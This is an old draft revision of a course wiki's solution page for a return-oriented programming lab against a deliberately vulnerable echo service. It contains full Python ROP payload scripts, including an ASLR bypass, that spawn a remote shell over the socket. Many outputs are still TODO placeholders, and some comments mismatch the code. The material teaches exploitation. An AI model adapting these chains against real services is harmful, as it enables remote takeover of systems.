User Tools

Site Tools


Sidebar

session:solution:12

This is an old revision of the document!


Session 12 Solutions

Gadget Tut

TODO

Echo Service

The log file created with script is this. You may use cat over the script file to print it.

By going through the echo_service.c file we see that in the echo_service() function we use read() for reading 4096 bytes when we only have 1024 available for a the buf buffer. We can use this to create a return-oriented programming (ROP) attack.

Let's first consider our steps.

  1. We will create a payload that overflows the buf buffer and rewrites the return address of the echo_service() function triggering the attack (the ROP chain).
  2. We will update the payload issue the following calls through the ROP chain, as also indicated in the task:
    1. dup2(sockfd, 1);
    2. dup2(sockfd, 0);
    3. system(“/bin/sh”);
  3. We will start the server and then we will use netcat to send the payload to the server to trigger the attack.

We aim for the stack to be the one below:

0x00000000
...
start address of buf
...
+--------------------------------+
|   dup2() address               |   <--- return address for echo_service()
+--------------------------------+
|   pop_pop_ret gadget address   |
+--------------------------------+
|   4                            |
+--------------------------------+
|   1                            |
+--------------------------------+
|   dup2() address               |
+--------------------------------+
|   pop_pop_ret gadget address   |
+--------------------------------+
|   4                            |
+--------------------------------+
|   0                            |
+--------------------------------+
|   system() address             |
+--------------------------------+
|   junk                         |
+--------------------------------+
|   "/bin/sh" address            |
+--------------------------------+

...
0xFFFFFFFF

In the above figure we will overflow the buf buffer and overwrite the return address for the echo_service() function with the first part of the ROP chain: the address of the dup2() function. Once the dup2() function returns it will call a ROP gadget that pops two values: the dup2() function arguments (4 is sockfd and 0 and 1 are standard input and standard output file descriptors respectively). Then another dup2() function gets called and then system(“/bin/sh”). Because this needs the address of the /bin/sh string it could only happen on non-ASLR enabled system; but we'll use some tricks to trick it into running on an ASLR-enabled system as well.

We can use strace to check that 4 is indeed the socket file descriptor:

TODO

This makes sense since 0, 1 and 2 are the standard file descriptors and 3 is used as the listening socket file descriptor.

We'll first get all the required data for creating the payload, then we'll create and run the non-ASLR enabled attack and then we'll use the ASLR-enabled attacks.

Getting Required Data

Let's first use GDB to gather all the required data for creating the payload. We need:

  • the offset of the return address for the echo_service() function against the start of the buf buffer
  • the address of the dup2() function inside PLT (in order to have an ASLR-independent address)
  • the address of the system() function inside PLT
  • the address of the /bin/sh string
  • a ROP gadget that consists of two pop instructions followed by a ret

The make_it_easy() function in our source code is used to help us get access to dup2() and system() addresses through PLT.

We'll use pattc and patto in GDB PEDA to find out the offset of the return address against the start of the buf buffer:



The offset is 1040 bytes.

We'll use the info address command in GDB to find out the addresses of dup2() and system() inside PLT:

TODO

The addresses are:

  • 0xTODO for dup2()
  • 0xTODO for system()

We'll use searchmem to find out the address of the /bin/sh string inside the standard C library mappings (this only works on non-ASLR enabled systems):



The address for /bin/sh is 0xTODO.

We'll use dumprop to determine the address of a ROP gadget using two pop instructions followed by a ret instruction:



The address of the gadget is 0xTODO.

We'll use these data to construct the payload.

Creating the ROP Payload (non-ASLR)

Based on the above information we create the following Python file for printing out the payload:

payload-no-aslr.py
#!/usr/bin/env python
 
import sys
import struct
 
# 0x8048b6e: pop edi; pop ebp; ret
pop_pop_ret = 0x8048b6e
# libc : 0xb7f561a9 ("/bin/sh")
bin_sh = 0xb7f561a9
# Symbol "system@plt" is at 0x8048670 in a file compiled without debugging.
system_plt = 0x8048670
# Symbol "dup2@plt" is at 0x80485f0 in a file compiled without debugging.
dup2_plt = 0x80485f0
 
# Offset from buffer start to function return address is 1040.
payload = 1040*"A"
 
# Add ROP for dup2(sockfd, 1), i.e. dup2(4, 1):
#  * address of dup2()
#  * return address for dup2(): gadget to pop dup2() arguments (pop_pop_ret)
#  * dup2 arguments: sockfd (4) and standard output (1)
payload += struct.pack("<IIII", dup2_plt, pop_pop_ret, 4, 0)
 
# Add ROP for dup2(sockfd, 0), i.e. dup2(4, 0):
#  * address of dup2()
#  * return address for dup2(): gadget to pop dup2() arguments (pop_pop_ret)
#  * dup2 arguments: sockfd (4) and standard input (0)
payload += struct.pack("<IIII", dup2_plt, pop_pop_ret, 4, 1)
 
# Add ROP for system("/bin/sh")
#  * address of dup2()
#  * return address for system(): we don't care, just use zero
#  * system argument: address of "/bin/sh"
payload += struct.pack("<III", system_plt, 0, bin_sh)
 
sys.stdout.write(payload)

The payload creates a padding of 1040 characters and then creates the ROP chain as discussed above:

TODO xxd

Testing the non-ASLR Payload

We run the payload on a non-ASLR system. We have deactivated ASLR and we check that:



Let's first test the payload by running the server under GDB. We'll break after the read() overflow and at the end of the echo_service() function to do checks while running the payload and netcat on another console:



We can see that the stack right before returning from the echo_service() function was similar to the stack figure above. All is OK.

Let's now run it outside GDB. We should have no problems since all addresses we are using are not influenced by the GDB environment and ASLR is disabled.



Excellent! We have created a shell by calling system("/bin/sh") through ROP.

Let's try the same thing on an ASLR-enabled system:



It doesn't work due to the "/bin/sh string being placed differently into memory. We need something different. We need a way to store a "/bin/sh" string in a place that isn't influenced by ASLR. We show that in the next section.

Idea for Bypassing ASLR

The random placement of the "/bin/sh" string due to ASLR is problematic. What we would aim to do is write the string somewhere in memory at a fixed address.

Our idea is to use a read() call on the socket to read the "/bin/sh" string into a fixed address area. We will then use that address for the system() call. We can call read() as part of the ROP chain. We aim for the stack to be the one below:

0x00000000
...
start address of buf
...
+--------------------------------+
|   dup2() address               |   <--- return address for echo_service()
+--------------------------------+
|   pop_pop_ret gadget address   |
+--------------------------------+
|   4                            |
+--------------------------------+
|   1                            |
+--------------------------------+
|   dup2() address               |
+--------------------------------+
|   pop_pop_ret gadget address   |
+--------------------------------+
|   4                            |
+--------------------------------+
|   0                            |
+--------------------------------+
|   read() address               |
+--------------------------------+
|   pop_pop_pop_ret gadget addr  |
+--------------------------------+
|   4                            |
+--------------------------------+
|   fixed writable address       |
+--------------------------------+
|   8                            |
+--------------------------------+
|   system() address             |
+--------------------------------+
|   junk                         |
+--------------------------------+
|   fixed writable address       |
+--------------------------------+

...
0xFFFFFFFF

In the above figure we add the read() call using three parameters:

  1. the socket file descriptor (4)
  2. the fixed writable address where the "/bin/sh" string we provide will be stored
  3. the length of the message we will deliver ("/bin/sh\0": we place a NUL-byte at the end)

We need an additional gadget that pops 3 times and the uses a ret instruction in order to pop the tree parameters of read().

We need the following in order to create the payload that gets us to the above stack configuration:

  1. the address of the read() address in PLT
  2. the address of a ROP gadget that uses 3 pop instructions followed by a ret instruction
  3. the fixed writable address we will use to store the "/bin/sh\0" string that will be fed through the socket

For the first two addresses we use GDB:



The address of read() in PLT is 0xTODO The address of the ROP gadget is 0xTODO.

For the fixed writable address we inspect the executable using readelf:



We see that we have access to the .data section with a length of 8 bytes, exactly what we need. We'll use that address (0xTODO) as a fixed writable address where to store the "/bin/sh\0" string that will be fed through the socket.

This is all the information we need to construct the payload.

Creating the ROP Payload (ASLR)

Based on the above information we create the following Python file for printing out the payload:

payload-aslr.py
#!/usr/bin/env python
 
import sys
import struct
 
# 0x8048b6e: pop edi; pop ebp; ret
pop_pop_ret = 0x8048b6e
# 0x8048b6d: pop esi; pop edi; pop ebp; ret
pop_pop_pop_ret = 0x8048b6d
# libc : 0xb7f561a9 ("/bin/sh")
bin_sh = 0xb7f561a9
# Symbol "system@plt" is at 0x8048670 in a file compiled without debugging.
system_plt = 0x8048670
# Symbol "dup2@plt" is at 0x80485f0 in a file compiled without debugging.
dup2_plt = 0x80485f0
# Symbol "read@plt" is at 0x8048600 in a file compiled without debugging.
read_plt = 0x8048600
#   [24] .data             PROGBITS        0804a060
data = 0x0804a060
 
# Offset from buffer start to function return address is 1040.
payload = 1040*"A"
 
# Add ROP for dup2(sockfd, 1), i.e. dup2(4, 1):
#  * address of dup2()
#  * return address for dup2(): gadget to pop dup2() arguments (pop_pop_ret)
#  * dup2 arguments: sockfd (4) and standard output (1)
payload += struct.pack("<IIII", dup2_plt, pop_pop_ret, 4, 0)
 
# Add ROP for dup2(sockfd, 0), i.e. dup2(4, 0):
#  * address of dup2()
#  * return address for dup2(): gadget to pop dup2() arguments (pop_pop_ret)
#  * dup2 arguments: sockfd (4) and standard input (0)
payload += struct.pack("<IIII", dup2_plt, pop_pop_ret, 4, 1)
 
# Add ROP for read(sockfd, data, len), i.e. read(4, 0x0804a060, 8)
#  * address of read()
#  * return addres of read(): gadget to pop read(arguments) (pop_pop_pop_ret)
#  * read arguments: 4, data address, 8 bytes for /bin/sh\n
payload += struct.pack("<IIIII", read_plt, pop_pop_pop_ret, 4, data, 8)
 
# Add ROP for system("/bin/sh")
#  * address of dup2()
#  * return address for system(): we don't care, just use zero
#  * system argument: address of "/bin/sh"
payload += struct.pack("<III", system_plt, 0, data)
 
sys.stdout.write(payload)

The payload creates a padding of 1040 characters and then creates the ROP chain as discussed above:

TODO xxd

Testing the ASLR Payload

We run the payload on an ASLR-enabled system:



Let's first test the payload by running the server under GDB. We'll break after the read() overflow and at the end of the echo_service() function to do checks while running the payload and netcat on another console:



We can see that the stack right before returning from the echo_service() function was similar to the stack figure above. All is OK.

Let's now run it outside GDB. We should have no problems since all addresses we are using are not influenced by the GDB environment.



Excellent! We have created a shell by calling system("/bin/sh") through ROP on an ASLR-enabled system

As you can see, we rely on the read() call inside the echo_service() function to return before we feed the "/bin/sh" string into our ROP-induced read() call. That's why we provide the "/bin/sh" string by hand. We could do it into one command sleep by placing a sleep command before the printing of the payload and the providing of the "/bin/sh" string



Alternative ASLR Payload and Testing

If we wanted to provide the "/bin/sh" string in the payload, we would need to update the payload to take care of the fact that the read() call inside the echo_service() function expects 4096 bytes before returning. We could feed it the entire 4096 bytes by adding an extra padding to the payload and then append the "/bin/sh\0" string to the payload. The appended string will be read by our ROP-induced read() call.

The updated payload file will be:

payload-aslr-alt.py
#!/usr/bin/env python
 
import sys
import struct
 
# 0x8048b6e: pop edi; pop ebp; ret
pop_pop_ret = 0x8048b6e
# 0x8048b6d: pop esi; pop edi; pop ebp; ret
pop_pop_pop_ret = 0x8048b6d
# libc : 0xb7f561a9 ("/bin/sh")
bin_sh = 0xb7f561a9
# Symbol "system@plt" is at 0x8048670 in a file compiled without debugging.
system_plt = 0x8048670
# Symbol "dup2@plt" is at 0x80485f0 in a file compiled without debugging.
dup2_plt = 0x80485f0
# Symbol "read@plt" is at 0x8048600 in a file compiled without debugging.
read_plt = 0x8048600
#   [24] .data             PROGBITS        0804a060
data = 0x0804a060
 
# Offset from buffer start to function return address is 1040.
payload = 1040*"A"
 
# Add ROP for dup2(sockfd, 1), i.e. dup2(4, 1):
#  * address of dup2()
#  * return address for dup2(): gadget to pop dup2() arguments (pop_pop_ret)
#  * dup2 arguments: sockfd (4) and standard output (1)
payload += struct.pack("<IIII", dup2_plt, pop_pop_ret, 4, 0)
 
# Add ROP for dup2(sockfd, 0), i.e. dup2(4, 0):
#  * address of dup2()
#  * return address for dup2(): gadget to pop dup2() arguments (pop_pop_ret)
#  * dup2 arguments: sockfd (4) and standard input (0)
payload += struct.pack("<IIII", dup2_plt, pop_pop_ret, 4, 1)
 
# Add ROP for read(sockfd, data, len), i.e. read(4, 0x0804a060, 8)
#  * address of read()
#  * return addres of read(): gadget to pop read(arguments) (pop_pop_pop_ret)
#  * read arguments: 4, data address, 8 bytes for /bin/sh\n
payload += struct.pack("<IIIII", read_plt, pop_pop_pop_ret, 4, data, 8)
 
# Add ROP for system("/bin/sh")
#  * address of dup2()
#  * return address for system(): we don't care, just use zero
#  * system argument: address of "/bin/sh"
payload += struct.pack("<III", system_plt, 0, data)
 
# Fill 4096 bytes to complete read() call.
bytes_so_far = len(payload)
payload += (4096-bytes_so_far)*"A"
 
# Send "/bin/sh\0" string to ROP-infused read() call.
payload += "/bin/sh\0"
 
sys.stdout.write(payload)

As said we've added additional payload to fill the 4096 bytes to complete the read() call inside the echo_service() function and then we feed the "/bin/sh\0" string.

However, the moment we test the program we see it fails:



We use strace for inspection and see that execve() returns with error due to an erroneous environment pointer (the third argument). The environment pointer is passed to the stack and, because we overwrite such a large amount with the read() call, we overwrite the pointer. The solution is to add padding using NUL-bytes (\0). In this ways, the environment pointer will be NULL and the execve() call will work OK.

We update the extra padding line in the payload:

# Fill 4096 bytes to complete read() call.
bytes_so_far = len(payload)
payload += (4096-bytes_so_far)*"\0"

We test the program again and we see it works



A shell is created through a ROP-based attack. Work complete!

session/solution/12.1437659224.txt.gz · Last modified: 2015/07/23 16:47 by Razvan Deaconescu